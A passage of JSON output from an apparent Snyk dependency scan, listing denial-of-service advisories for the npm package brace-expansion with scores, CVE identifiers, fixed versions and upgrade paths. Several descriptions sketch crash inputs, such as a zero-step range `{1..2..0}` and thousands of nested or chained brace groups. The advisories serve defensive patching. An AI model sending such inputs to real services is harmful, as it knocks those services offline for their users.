"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
